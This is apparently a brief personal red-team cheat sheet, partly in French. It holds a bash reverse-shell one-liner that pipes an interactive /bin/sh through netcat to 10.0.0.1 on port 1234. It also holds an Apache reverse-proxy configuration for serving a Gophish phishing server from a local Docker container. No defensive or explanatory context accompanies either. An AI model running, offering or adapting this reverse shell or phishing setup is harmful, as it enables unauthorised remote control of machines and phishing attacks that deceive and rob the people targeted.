Reverse Listeners
Bash
#!/bin/bash
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 >/tmp/f
Reverse proxy apache, gophish qui écoute en local dans un docker
routing: / -> gophish /static/ -> /var/www/html/some_site (for static or php files)
<IfModule alias_module>
Alias /static /var/www/html/some_site
</IfModule>
ProxyPass /static !
ProxyPass / "http://127.0.0.1:32771/"
ProxyPassReverse /static !
ProxyPassReverse / "http://127.0.0.1:32771/"